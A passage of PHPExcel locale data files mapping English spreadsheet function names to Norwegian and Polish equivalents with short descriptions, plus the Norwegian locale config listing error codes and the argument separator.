OBLIG.ANTALL ## Returnerer antall obligasjoner som skal betales mellom oppgjørsdatoen og forfallsdatoen COUPPCD = OBLIG.DAG.FORRIGE ## Returnerer obligasjonsdatoen som kommer før oppgjørsdatoen CUMIPMT = SAMLET.RENTE ## Returnerer den kumulative renten som er betalt mellom to perioder CUMPRINC = SAMLET.HOVEDSTOL ## Returnerer den kumulative hovedstolen som er betalt for et lån mellom to perioder DB = DAVSKR ## Returnerer avskrivningen for et aktivum i en angitt periode, foretatt med fast degressiv avskrivning DDB = DEGRAVS ## Returnerer avskrivningen for et aktivum for en gitt periode, ved hjelp av dobbel degressiv avskrivning eller en metode som du selv angir DISC = DISKONTERT ## Returnerer diskonteringsraten for et verdipapir DOLLARDE = DOLLARDE ## Konverterer en valutapris uttrykt som en brøk, til en valutapris uttrykt som et desimaltall DOLLARFR = DOLLARBR ## Konverterer en valutapris uttrykt som et desimaltall, til en valutapris uttrykt som en brøk DURATION = VARIGHET ## Returnerer årlig varighet for et verdipapir med renter som betales periodisk EFFECT = EFFEKTIV.RENTE ## Returnerer den effektive årlige rentesatsen FV = SLUTTVERDI ## Returnerer fremtidig verdi for en investering FVSCHEDULE = SVPLAN ## Returnerer den fremtidige verdien av en inngående hovedstol etter å ha anvendt en serie med sammensatte rentesatser INTRATE = RENTESATS ## Returnerer rentefoten av et fullfinansiert verdipapir IPMT = RAVDRAG ## Returnerer betalte renter på en investering for en gitt periode IRR = IR ## Returnerer internrenten for en serie kontantstrømmer ISPMT = ER.AVDRAG ## Beregner renten som er betalt for en investering i løpet av en bestemt periode MDURATION = MVARIGHET ## Returnerer Macauleys modifiserte varighet for et verdipapir med en antatt pålydende verdi på kr 100,00 MIRR = MODIR ## Returnerer internrenten der positive og negative kontantstrømmer finansieres med forskjellige satser NOMINAL = NOMINELL ## Returnerer årlig nominell rentesats NPER = PERIODER ## Returnerer antall perioder for en investering NPV = NNV ## Returnerer netto nåverdi for en investering, basert på en serie periodiske kontantstrømmer og en rentesats ODDFPRICE = AVVIKFP.PRIS ## Returnerer pris pålydende kr 100 for et verdipapir med en odde første periode ODDFYIELD = AVVIKFP.AVKASTNING ## Returnerer avkastingen for et verdipapir med en odde første periode ODDLPRICE = AVVIKSP.PRIS ## Returnerer pris pålydende kr 100 for et verdipapir med en odde siste periode ODDLYIELD = AVVIKSP.AVKASTNING ## Returnerer avkastingen for et verdipapir med en odde siste periode PMT = AVDRAG ## Returnerer periodisk betaling for en annuitet PPMT = AMORT ## Returnerer betalingen på hovedstolen for en investering i en gitt periode PRICE = PRIS ## Returnerer prisen per pålydende kr 100 for et verdipapir som gir periodisk avkastning PRICEDISC = PRIS.DISKONTERT ## Returnerer prisen per pålydende kr 100 for et diskontert verdipapir PRICEMAT = PRIS.FORFALL ## Returnerer prisen per pålydende kr 100 av et verdipapir som betaler rente ved forfall PV = NÅVERDI ## Returnerer nåverdien av en investering RATE = RENTE ## Returnerer rentesatsen per periode for en annuitet RECEIVED = MOTTATT.AVKAST ## Returnerer summen som mottas ved forfallsdato for et fullinvestert verdipapir SLN = LINAVS ## Returnerer den lineære avskrivningen for et aktivum i én periode SYD = ÅRSAVS ## Returnerer årsavskrivningen for et aktivum i en angitt periode TBILLEQ = TBILLEKV ## Returnerer den obligasjonsekvivalente avkastningen for en statsobligasjon TBILLPRICE = TBILLPRIS ## Returnerer prisen per pålydende kr 100 for en statsobligasjon TBILLYIELD = TBILLAVKASTNING ## Returnerer avkastningen til en statsobligasjon VDB = VERDIAVS ## Returnerer avskrivningen for et aktivum i en angitt periode eller delperiode, ved hjelp av degressiv avskrivning XIRR = XIR ## Returnerer internrenten for en serie kontantstrømmer som ikke nødvendigvis er periodiske XNPV = XNNV ## Returnerer netto nåverdi for en serie kontantstrømmer som ikke nødvendigvis er periodiske YIELD = AVKAST ## Returnerer avkastningen på et verdipapir som betaler periodisk rente YIELDDISC = AVKAST.DISKONTERT ## Returnerer årlig avkastning for et diskontert verdipapir, for eksempel en statskasseveksel YIELDMAT = AVKAST.FORFALL ## Returnerer den årlige avkastningen for et verdipapir som betaler rente ved forfallsdato ## ## Information functions Informasjonsfunksjoner ## CELL = CELLE ## Returnerer informasjon om formatering, plassering eller innholdet til en celle ERROR.TYPE = FEIL.TYPE ## Returnerer et tall som svarer til en feiltype INFO = INFO ## Returnerer informasjon om gjeldende operativmiljø ISBLANK = ERTOM ## Returnerer SANN hvis verdien er tom ISERR = ERFEIL ## Returnerer SANN hvis verdien er en hvilken som helst annen feilverdi enn #I/T ISERROR = ERFEIL ## Returnerer SANN hvis verdien er en hvilken som helst feilverdi ISEVEN = ERPARTALL ## Returnerer SANN hvis tallet er et partall ISLOGICAL = ERLOGISK ## Returnerer SANN hvis verdien er en logisk verdi ISNA = ERIT ## Returnerer SANN hvis verdien er feilverdien #I/T ISNONTEXT = ERIKKETEKST ## Returnerer SANN hvis verdien ikke er tekst ISNUMBER = ERTALL ## Returnerer SANN hvis verdien er et tall ISODD = ERODDETALL ## Returnerer SANN hvis tallet er et oddetall ISREF = ERREF ## Returnerer SANN hvis verdien er en referanse ISTEXT = ERTEKST ## Returnerer SANN hvis verdien er tekst N = N ## Returnerer en verdi som er konvertert til et tall NA = IT ## Returnerer feilverdien #I/T TYPE = VERDITYPE ## Returnerer et tall som indikerer datatypen til en verdi ## ## Logical functions Logiske funksjoner ## AND = OG ## Returnerer SANN hvis alle argumentene er lik SANN FALSE = USANN ## Returnerer den logiske verdien USANN IF = HVIS ## Angir en logisk test som skal utføres IFERROR = HVISFEIL ## Returnerer en verdi du angir hvis en formel evaluerer til en feil. Ellers returnerer den resultatet av formelen. NOT = IKKE ## Reverserer logikken til argumentet OR = ELLER ## Returnerer SANN hvis ett eller flere argumenter er lik SANN TRUE = SANN ## Returnerer den logiske verdien SANN ## ## Lookup and reference functions Oppslag- og referansefunksjoner ## ADDRESS = ADRESSE ## Returnerer en referanse som tekst til en enkelt celle i et regneark AREAS = OMRÅDER ## Returnerer antall områder i en referanse CHOOSE = VELG ## Velger en verdi fra en liste med verdier COLUMN = KOLONNE ## Returnerer kolonnenummeret for en referanse COLUMNS = KOLONNER ## Returnerer antall kolonner i en referanse HLOOKUP = FINN.KOLONNE ## Leter i den øverste raden i en matrise og returnerer verdien for den angitte cellen HYPERLINK = HYPERKOBLING ## Oppretter en snarvei eller et hopp som åpner et dokument som er lagret på en nettverksserver, et intranett eller Internett INDEX = INDEKS ## Bruker en indeks til å velge en verdi fra en referanse eller matrise INDIRECT = INDIREKTE ## Returnerer en referanse angitt av en tekstverdi LOOKUP = SLÅ.OPP ## Slår opp verdier i en vektor eller matrise MATCH = SAMMENLIGNE ## Slår opp verdier i en referanse eller matrise OFFSET = FORSKYVNING ## Returnerer en referanseforskyvning fra en gitt referanse ROW = RAD ## Returnerer radnummeret for en referanse ROWS = RADER ## Returnerer antall rader i en referanse RTD = RTD ## Henter sanntidsdata fra et program som støtter COM-automatisering (automatisering: En måte å arbeide på med programobjekter fra et annet program- eller utviklingsverktøy. Tidligere kalt OLE-automatisering. Automatisering er en bransjestandard og en funksjon i Component Object Model (COM).) TRANSPOSE = TRANSPONER ## Returnerer transponeringen av en matrise VLOOKUP = FINN.RAD ## Leter i den første kolonnen i en matrise og flytter bortover raden for å returnere verdien til en celle ## ## Math and trigonometry functions Matematikk- og trigonometrifunksjoner ## ABS = ABS ## Returnerer absoluttverdien til et tall ACOS = ARCCOS ## Returnerer arcus cosinus til et tall ACOSH = ARCCOSH ## Returnerer den inverse hyperbolske cosinus til et tall ASIN = ARCSIN ## Returnerer arcus sinus til et tall ASINH = ARCSINH ## Returnerer den inverse hyperbolske sinus til et tall ATAN = ARCTAN ## Returnerer arcus tangens til et tall ATAN2 = ARCTAN2 ## Returnerer arcus tangens fra x- og y-koordinater ATANH = ARCTANH ## Returnerer den inverse hyperbolske tangens til et tall CEILING = AVRUND.GJELDENDE.MULTIPLUM ## Runder av et tall til nærmeste heltall eller til nærmeste signifikante multiplum COMBIN = KOMBINASJON ## Returnerer antall kombinasjoner for ett gitt antall objekter COS = COS ## Returnerer cosinus til et tall COSH = COSH ## Returnerer den hyperbolske cosinus til et tall DEGREES = GRADER ## Konverterer radianer til grader EVEN = AVRUND.TIL.PARTALL ## Runder av et tall oppover til nærmeste heltall som er et partall EXP = EKSP ## Returnerer e opphøyd i en angitt potens FACT = FAKULTET ## Returnerer fakultet til et tall FACTDOUBLE = DOBBELFAKT ## Returnerer et talls doble fakultet FLOOR = AVRUND.GJELDENDE.MULTIPLUM.NED ## Avrunder et tall nedover, mot null GCD = SFF ## Returnerer høyeste felles divisor INT = HELTALL ## Avrunder et tall nedover til nærmeste heltall LCM = MFM ## Returnerer minste felles multiplum LN = LN ## Returnerer den naturlige logaritmen til et tall LOG = LOG ## Returnerer logaritmen for et tall til et angitt grunntall LOG10 = LOG10 ## Returnerer logaritmen med grunntall 10 for et tall MDETERM = MDETERM ## Returnerer matrisedeterminanten til en matrise MINVERSE = MINVERS ## Returnerer den inverse matrisen til en matrise MMULT = MMULT ## Returnerer matriseproduktet av to matriser MOD = REST ## Returnerer resten fra en divisjon MROUND = MRUND ## Returnerer et tall avrundet til det ønskede multiplum MULTINOMIAL = MULTINOMINELL ## Returnerer det multinominelle for et sett med tall ODD = AVRUND.TIL.ODDETALL ## Runder av et tall oppover til nærmeste heltall som er et oddetall PI = PI ## Returnerer verdien av pi POWER = OPPHØYD.I ## Returnerer resultatet av et tall opphøyd i en potens PRODUCT = PRODUKT ## Multipliserer argumentene QUOTIENT = KVOTIENT ## Returnerer heltallsdelen av en divisjon RADIANS = RADIANER ## Konverterer grader til radianer RAND = TILFELDIG ## Returnerer et tilfeldig tall mellom 0 og 1 RANDBETWEEN = TILFELDIGMELLOM ## Returnerer et tilfeldig tall innenfor et angitt område ROMAN = ROMERTALL ## Konverterer vanlige tall til romertall, som tekst ROUND = AVRUND ## Avrunder et tall til et angitt antall sifre ROUNDDOWN = AVRUND.NED ## Avrunder et tall nedover, mot null ROUNDUP = AVRUND.OPP ## Runder av et tall oppover, bort fra null SERIESSUM = SUMMER.REKKE ## Returnerer summen av en geometrisk rekke, basert på formelen SIGN = FORTEGN ## Returnerer fortegnet for et tall SIN = SIN ## Returnerer sinus til en gitt vinkel SINH = SINH ## Returnerer den hyperbolske sinus til et tall SQRT = ROT ## Returnerer en positiv kvadratrot SQRTPI = ROTPI ## Returnerer kvadratroten av (tall * pi) SUBTOTAL = DELSUM ## Returnerer en delsum i en liste eller database SUM = SUMMER ## Legger sammen argumentene SUMIF = SUMMERHVIS ## Legger sammen cellene angitt ved et gitt vilkår SUMIFS = SUMMER.HVIS.SETT ## Legger sammen cellene i et område som oppfyller flere vilkår SUMPRODUCT = SUMMERPRODUKT ## Returnerer summen av produktene av tilsvarende matrisekomponenter SUMSQ = SUMMERKVADRAT ## Returnerer kvadratsummen av argumentene SUMX2MY2 = SUMMERX2MY2 ## Returnerer summen av differansen av kvadratene for tilsvarende verdier i to matriser SUMX2PY2 = SUMMERX2PY2 ## Returnerer summen av kvadratsummene for tilsvarende verdier i to matriser SUMXMY2 = SUMMERXMY2 ## Returnerer summen av kvadratene av differansen for tilsvarende verdier i to matriser TAN = TAN ## Returnerer tangens for et tall TANH = TANH ## Returnerer den hyperbolske tangens for et tall TRUNC = AVKORT ## Korter av et tall til et heltall ## ## Statistical functions Statistiske funksjoner ## AVEDEV = GJENNOMSNITTSAVVIK ## Returnerer datapunktenes gjennomsnittlige absoluttavvik fra middelverdien AVERAGE = GJENNOMSNITT ## Returnerer gjennomsnittet for argumentene AVERAGEA = GJENNOMSNITTA ## Returnerer gjennomsnittet for argumentene, inkludert tall, tekst og logiske verdier AVERAGEIF = GJENNOMSNITTHVIS ## Returnerer gjennomsnittet (aritmetisk gjennomsnitt) av alle cellene i et område som oppfyller et bestemt vilkår AVERAGEIFS = GJENNOMSNITT.HVIS.SETT ## Returnerer gjennomsnittet (aritmetisk middelverdi) av alle celler som oppfyller flere vilkår. BETADIST = BETA.FORDELING ## Returnerer den kumulative betafordelingsfunksjonen BETAINV = INVERS.BETA.FORDELING ## Returnerer den inverse verdien til fordelingsfunksjonen for en angitt betafordeling BINOMDIST = BINOM.FORDELING ## Returnerer den individuelle binomiske sannsynlighetsfordelingen CHIDIST = KJI.FORDELING ## Returnerer den ensidige sannsynligheten for en kjikvadrert fordeling CHIINV = INVERS.KJI.FORDELING ## Returnerer den inverse av den ensidige sannsynligheten for den kjikvadrerte fordelingen CHITEST = KJI.TEST ## Utfører testen for uavhengighet CONFIDENCE = KONFIDENS ## Returnerer konfidensintervallet til gjennomsnittet for en populasjon CORREL = KORRELASJON ## Returnerer korrelasjonskoeffisienten mellom to datasett COUNT = ANTALL ## Teller hvor mange tall som er i argumentlisten COUNTA = ANTALLA ## Teller hvor mange verdier som er i argumentlisten COUNTBLANK = TELLBLANKE ## Teller antall tomme celler i et område. COUNTIF = ANTALL.HVIS ## Teller antall celler i et område som oppfyller gitte vilkår COUNTIFS = ANTALL.HVIS.SETT ## Teller antallet ikke-tomme celler i et område som oppfyller flere vilkår COVAR = KOVARIANS ## Returnerer kovariansen, gjennomsnittet av produktene av parvise avvik CRITBINOM = GRENSE.BINOM ## Returnerer den minste verdien der den kumulative binomiske fordelingen er mindre enn eller lik en vilkårsverdi DEVSQ = AVVIK.KVADRERT ## Returnerer summen av kvadrerte avvik EXPONDIST = EKSP.FORDELING ## Returnerer eksponentialfordelingen FDIST = FFORDELING ## Returnerer F-sannsynlighetsfordelingen FINV = FFORDELING.INVERS ## Returnerer den inverse av den sannsynlige F-fordelingen FISHER = FISHER ## Returnerer Fisher-transformasjonen FISHERINV = FISHERINV ## Returnerer den inverse av Fisher-transformasjonen FORECAST = PROGNOSE ## Returnerer en verdi langs en lineær trend FREQUENCY = FREKVENS ## Returnerer en frekvensdistribusjon som en loddrett matrise FTEST = FTEST ## Returnerer resultatet av en F-test GAMMADIST = GAMMAFORDELING ## Returnerer gammafordelingen GAMMAINV = GAMMAINV ## Returnerer den inverse av den gammakumulative fordelingen GAMMALN = GAMMALN ## Returnerer den naturlige logaritmen til gammafunksjonen G(x) GEOMEAN = GJENNOMSNITT.GEOMETRISK ## Returnerer den geometriske middelverdien GROWTH = VEKST ## Returnerer verdier langs en eksponentiell trend HARMEAN = GJENNOMSNITT.HARMONISK ## Returnerer den harmoniske middelverdien HYPGEOMDIST = HYPGEOM.FORDELING ## Returnerer den hypergeometriske fordelingen INTERCEPT = SKJÆRINGSPUNKT ## Returnerer skjæringspunktet til den lineære regresjonslinjen KURT = KURT ## Returnerer kurtosen til et datasett LARGE = N.STØRST ## Returnerer den n-te største verdien i et datasett LINEST = RETTLINJE ## Returnerer parameterne til en lineær trend LOGEST = KURVE ## Returnerer parameterne til en eksponentiell trend LOGINV = LOGINV ## Returnerer den inverse lognormale fordelingen LOGNORMDIST = LOGNORMFORD ## Returnerer den kumulative lognormale fordelingen MAX = STØRST ## Returnerer maksimumsverdien i en argumentliste MAXA = MAKSA ## Returnerer maksimumsverdien i en argumentliste, inkludert tall, tekst og logiske verdier MEDIAN = MEDIAN ## Returnerer medianen til tallene som er gitt MIN = MIN ## Returnerer minimumsverdien i en argumentliste MINA = MINA ## Returnerer den minste verdien i en argumentliste, inkludert tall, tekst og logiske verdier MODE = MODUS ## Returnerer den vanligste verdien i et datasett NEGBINOMDIST = NEGBINOM.FORDELING ## Returnerer den negative binomiske fordelingen NORMDIST = NORMALFORDELING ## Returnerer den kumulative normalfordelingen NORMINV = NORMINV ## Returnerer den inverse kumulative normalfordelingen NORMSDIST = NORMSFORDELING ## Returnerer standard kumulativ normalfordeling NORMSINV = NORMSINV ## Returnerer den inverse av den den kumulative standard normalfordelingen PEARSON = PEARSON ## Returnerer produktmomentkorrelasjonskoeffisienten, Pearson PERCENTILE = PERSENTIL ## Returnerer den n-te persentil av verdiene i et område PERCENTRANK = PROSENTDEL ## Returnerer prosentrangeringen av en verdi i et datasett PERMUT = PERMUTER ## Returnerer antall permutasjoner for et gitt antall objekter POISSON = POISSON ## Returnerer Poissons sannsynlighetsfordeling PROB = SANNSYNLIG ## Returnerer sannsynligheten for at verdier i et område ligger mellom to grenser QUARTILE = KVARTIL ## Returnerer kvartilen til et datasett RANK = RANG ## Returnerer rangeringen av et tall, eller plassen tallet har i en rekke RSQ = RKVADRAT ## Returnerer kvadratet av produktmomentkorrelasjonskoeffisienten (Pearsons r) SKEW = SKJEVFORDELING ## Returnerer skjevheten i en fordeling SLOPE = STIGNINGSTALL ## Returnerer stigningtallet for den lineære regresjonslinjen SMALL = N.MINST ## Returnerer den n-te minste verdien i et datasett STANDARDIZE = NORMALISER ## Returnerer en normalisert verdi STDEV = STDAV ## Estimere standardavvik på grunnlag av et utvalg STDEVA = STDAVVIKA ## Estimerer standardavvik basert på et utvalg, inkludert tall, tekst og logiske verdier STDEVP = STDAVP ## Beregner standardavvik basert på hele populasjonen STDEVPA = STDAVVIKPA ## Beregner standardavvik basert på hele populasjonen, inkludert tall, tekst og logiske verdier STEYX = STANDARDFEIL ## Returnerer standardfeilen for den predikerte y-verdien for hver x i regresjonen TDIST = TFORDELING ## Returnerer en Student t-fordeling TINV = TINV ## Returnerer den inverse Student t-fordelingen TREND = TREND ## Returnerer verdier langs en lineær trend TRIMMEAN = TRIMMET.GJENNOMSNITT ## Returnerer den interne middelverdien til et datasett TTEST = TTEST ## Returnerer sannsynligheten assosiert med en Student t-test VAR = VARIANS ## Estimerer varians basert på et utvalg VARA = VARIANSA ## Estimerer varians basert på et utvalg, inkludert tall, tekst og logiske verdier VARP = VARIANSP ## Beregner varians basert på hele populasjonen VARPA = VARIANSPA ## Beregner varians basert på hele populasjonen, inkludert tall, tekst og logiske verdier WEIBULL = WEIBULL.FORDELING ## Returnerer Weibull-fordelingen ZTEST = ZTEST ## Returnerer den ensidige sannsynlighetsverdien for en z-test ## ## Text functions Tekstfunksjoner ## ASC = STIGENDE ## Endrer fullbreddes (dobbeltbyte) engelske bokstaver eller katakana i en tegnstreng, til halvbreddes (enkeltbyte) tegn BAHTTEXT = BAHTTEKST ## Konverterer et tall til tekst, og bruker valutaformatet ß (baht) CHAR = TEGNKODE ## Returnerer tegnet som svarer til kodenummeret CLEAN = RENSK ## Fjerner alle tegn som ikke kan skrives ut, fra teksten CODE = KODE ## Returnerer en numerisk kode for det første tegnet i en tekststreng CONCATENATE = KJEDE.SAMMEN ## Slår sammen flere tekstelementer til ett tekstelement DOLLAR = VALUTA ## Konverterer et tall til tekst, og bruker valutaformatet $ (dollar) EXACT = EKSAKT ## Kontrollerer om to tekstverdier er like FIND = FINN ## Finner en tekstverdi inne i en annen (skiller mellom store og små bokstaver) FINDB = FINNB ## Finner en tekstverdi inne i en annen (skiller mellom store og små bokstaver) FIXED = FASTSATT ## Formaterer et tall som tekst med et bestemt antall desimaler JIS = JIS ## Endrer halvbreddes (enkeltbyte) engelske bokstaver eller katakana i en tegnstreng, til fullbreddes (dobbeltbyte) tegn LEFT = VENSTRE ## Returnerer tegnene lengst til venstre i en tekstverdi LEFTB = VENSTREB ## Returnerer tegnene lengst til venstre i en tekstverdi LEN = LENGDE ## Returnerer antall tegn i en tekststreng LENB = LENGDEB ## Returnerer antall tegn i en tekststreng LOWER = SMÅ ## Konverterer tekst til små bokstaver MID = DELTEKST ## Returnerer et angitt antall tegn fra en tekststreng, og begynner fra posisjonen du angir MIDB = DELTEKSTB ## Returnerer et angitt antall tegn fra en tekststreng, og begynner fra posisjonen du angir PHONETIC = FURIGANA ## Trekker ut fonetiske tegn (furigana) fra en tekststreng PROPER = STOR.FORBOKSTAV ## Gir den første bokstaven i hvert ord i en tekstverdi stor forbokstav REPLACE = ERSTATT ## Erstatter tegn i en tekst REPLACEB = ERSTATTB ## Erstatter tegn i en tekst REPT = GJENTA ## Gjentar tekst et gitt antall ganger RIGHT = HØYRE ## Returnerer tegnene lengst til høyre i en tekstverdi RIGHTB = HØYREB ## Returnerer tegnene lengst til høyre i en tekstverdi SEARCH = SØK ## Finner en tekstverdi inne i en annen (skiller ikke mellom store og små bokstaver) SEARCHB = SØKB ## Finner en tekstverdi inne i en annen (skiller ikke mellom store og små bokstaver) SUBSTITUTE = BYTT.UT ## Bytter ut gammel tekst med ny tekst i en tekststreng T = T ## Konverterer argumentene til tekst TEXT = TEKST ## Formaterer et tall og konverterer det til tekst TRIM = TRIMME ## Fjerner mellomrom fra tekst UPPER = STORE ## Konverterer tekst til store bokstaver VALUE = VERDI ## Konverterer et tekstargument til et tall PHPExcel/locale/no/config 0000644 00000002452 14642534110 0011222 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Settings ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## ArgumentSeparator = ; ## ## (For future use) ## currencySymbol = kr ## ## Excel Error Codes (For future use) ## NULL = #NULL! DIV0 = #DIV/0! VALUE = #VERDI! REF = #REF! NAME = #NAVN? NUM = #NUM! NA = #I/T PHPExcel/locale/pl/functions 0000644 00000101305 14642534110 0011761 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Calculation ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## Data in this file derived from http://www.piuha.fi/excel-function-name-translation/ ## ## ## ## Add-in and Automation functions Funkcje dodatków i automatyzacji ## GETPIVOTDATA = WEŹDANETABELI ## Zwraca dane przechowywane w raporcie tabeli przestawnej. ## ## Cube functions Funkcje modułów ## CUBEKPIMEMBER = ELEMENT.KPI.MODUŁU ## Zwraca nazwę, właściwość i miarę kluczowego wskaźnika wydajności (KPI) oraz wyświetla nazwę i właściwość w komórce. Wskaźnik KPI jest miarą ilościową, taką jak miesięczny zysk brutto lub kwartalna fluktuacja pracowników, używaną do monitorowania wydajności organizacji. CUBEMEMBER = ELEMENT.MODUŁU ## Zwraca element lub krotkę z hierarchii modułu. Służy do sprawdzania, czy element lub krotka istnieje w module. CUBEMEMBERPROPERTY = WŁAŚCIWOŚĆ.ELEMENTU.MODUŁU ## Zwraca wartość właściwości elementu w module. Służy do sprawdzania, czy nazwa elementu istnieje w module, i zwracania określonej właściwości dla tego elementu. CUBERANKEDMEMBER = USZEREGOWANY.ELEMENT.MODUŁU ## Zwraca n-ty (albo uszeregowany) element zestawu. Służy do zwracania elementu lub elementów zestawu, na przykład najlepszego sprzedawcy lub 10 najlepszych studentów. CUBESET = ZESTAW.MODUŁÓW ## Definiuje obliczony zestaw elementów lub krotek, wysyłając wyrażenie zestawu do serwera modułu, który tworzy zestaw i zwraca go do programu Microsoft Office Excel. CUBESETCOUNT = LICZNIK.MODUŁÓW.ZESTAWU ## Zwraca liczbę elementów zestawu. CUBEVALUE = WARTOŚĆ.MODUŁU ## Zwraca zagregowaną wartość z modułu. ## ## Database functions Funkcje baz danych ## DAVERAGE = BD.ŚREDNIA ## Zwraca wartość średniej wybranych wpisów bazy danych. DCOUNT = BD.ILE.REKORDÓW ## Zlicza komórki zawierające liczby w bazie danych. DCOUNTA = BD.ILE.REKORDÓW.A ## Zlicza niepuste komórki w bazie danych. DGET = BD.POLE ## Wyodrębnia z bazy danych jeden rekord spełniający określone kryteria. DMAX = BD.MAX ## Zwraca wartość maksymalną z wybranych wpisów bazy danych. DMIN = BD.MIN ## Zwraca wartość minimalną z wybranych wpisów bazy danych. DPRODUCT = BD.ILOCZYN ## Mnoży wartości w konkretnym, spełniającym kryteria polu rekordów bazy danych. DSTDEV = BD.ODCH.STANDARD ## Szacuje odchylenie standardowe na podstawie próbki z wybranych wpisów bazy danych. DSTDEVP = BD.ODCH.STANDARD.POPUL ## Oblicza odchylenie standardowe na podstawie całej populacji wybranych wpisów bazy danych. DSUM = BD.SUMA ## Dodaje liczby w kolumnie pól rekordów bazy danych, które spełniają kryteria. DVAR = BD.WARIANCJA ## Szacuje wariancję na podstawie próbki z wybranych wpisów bazy danych. DVARP = BD.WARIANCJA.POPUL ## Oblicza wariancję na podstawie całej populacji wybranych wpisów bazy danych. ## ## Date and time functions Funkcje dat, godzin i czasu ## DATE = DATA ## Zwraca liczbę seryjną dla wybranej daty. DATEVALUE = DATA.WARTOŚĆ ## Konwertuje datę w formie tekstu na liczbę seryjną. DAY = DZIEŃ ## Konwertuje liczbę seryjną na dzień miesiąca. DAYS360 = DNI.360 ## Oblicza liczbę dni między dwiema datami na podstawie roku 360-dniowego. EDATE = UPŁDNI ## Zwraca liczbę seryjną daty jako wskazaną liczbę miesięcy przed określoną datą początkową lub po niej. EOMONTH = EOMONTH ## Zwraca liczbę seryjną ostatniego dnia miesiąca przed określoną liczbą miesięcy lub po niej. HOUR = GODZINA ## Konwertuje liczbę seryjną na godzinę. MINUTE = MINUTA ## Konwertuje liczbę seryjną na minutę. MONTH = MIESIĄC ## Konwertuje liczbę seryjną na miesiąc. NETWORKDAYS = NETWORKDAYS ## Zwraca liczbę pełnych dni roboczych między dwiema datami. NOW = TERAZ ## Zwraca liczbę seryjną bieżącej daty i godziny. SECOND = SEKUNDA ## Konwertuje liczbę seryjną na sekundę. TIME = CZAS ## Zwraca liczbę seryjną określonego czasu. TIMEVALUE = CZAS.WARTOŚĆ ## Konwertuje czas w formie tekstu na liczbę seryjną. TODAY = DZIŚ ## Zwraca liczbę seryjną dla daty bieżącej. WEEKDAY = DZIEŃ.TYG ## Konwertuje liczbę seryjną na dzień tygodnia. WEEKNUM = WEEKNUM ## Konwertuje liczbę seryjną na liczbę reprezentującą numer tygodnia w roku. WORKDAY = WORKDAY ## Zwraca liczbę seryjną dla daty przed określoną liczbą dni roboczych lub po niej. YEAR = ROK ## Konwertuje liczbę seryjną na rok. YEARFRAC = YEARFRAC ## Zwraca część roku reprezentowaną przez pełną liczbę dni między datą początkową a datą końcową. ## ## Engineering functions Funkcje inżynierskie ## BESSELI = BESSELI ## Zwraca wartość zmodyfikowanej funkcji Bessela In(x). BESSELJ = BESSELJ ## Zwraca wartość funkcji Bessela Jn(x). BESSELK = BESSELK ## Zwraca wartość zmodyfikowanej funkcji Bessela Kn(x). BESSELY = BESSELY ## Zwraca wartość funkcji Bessela Yn(x). BIN2DEC = BIN2DEC ## Konwertuje liczbę w postaci dwójkowej na liczbę w postaci dziesiętnej. BIN2HEX = BIN2HEX ## Konwertuje liczbę w postaci dwójkowej na liczbę w postaci szesnastkowej. BIN2OCT = BIN2OCT ## Konwertuje liczbę w postaci dwójkowej na liczbę w postaci ósemkowej. COMPLEX = COMPLEX ## Konwertuje część rzeczywistą i urojoną na liczbę zespoloną. CONVERT = CONVERT ## Konwertuje liczbę z jednego systemu miar na inny. DEC2BIN = DEC2BIN ## Konwertuje liczbę w postaci dziesiętnej na postać dwójkową. DEC2HEX = DEC2HEX ## Konwertuje liczbę w postaci dziesiętnej na liczbę w postaci szesnastkowej. DEC2OCT = DEC2OCT ## Konwertuje liczbę w postaci dziesiętnej na liczbę w postaci ósemkowej. DELTA = DELTA ## Sprawdza, czy dwie wartości są równe. ERF = ERF ## Zwraca wartość funkcji błędu. ERFC = ERFC ## Zwraca wartość komplementarnej funkcji błędu. GESTEP = GESTEP ## Sprawdza, czy liczba jest większa niż wartość progowa. HEX2BIN = HEX2BIN ## Konwertuje liczbę w postaci szesnastkowej na liczbę w postaci dwójkowej. HEX2DEC = HEX2DEC ## Konwertuje liczbę w postaci szesnastkowej na liczbę w postaci dziesiętnej. HEX2OCT = HEX2OCT ## Konwertuje liczbę w postaci szesnastkowej na liczbę w postaci ósemkowej. IMABS = IMABS ## Zwraca wartość bezwzględną (moduł) liczby zespolonej. IMAGINARY = IMAGINARY ## Zwraca wartość części urojonej liczby zespolonej. IMARGUMENT = IMARGUMENT ## Zwraca wartość argumentu liczby zespolonej, przy czym kąt wyrażony jest w radianach. IMCONJUGATE = IMCONJUGATE ## Zwraca wartość liczby sprzężonej danej liczby zespolonej. IMCOS = IMCOS ## Zwraca wartość cosinusa liczby zespolonej. IMDIV = IMDIV ## Zwraca wartość ilorazu dwóch liczb zespolonych. IMEXP = IMEXP ## Zwraca postać wykładniczą liczby zespolonej. IMLN = IMLN ## Zwraca wartość logarytmu naturalnego liczby zespolonej. IMLOG10 = IMLOG10 ## Zwraca wartość logarytmu dziesiętnego liczby zespolonej. IMLOG2 = IMLOG2 ## Zwraca 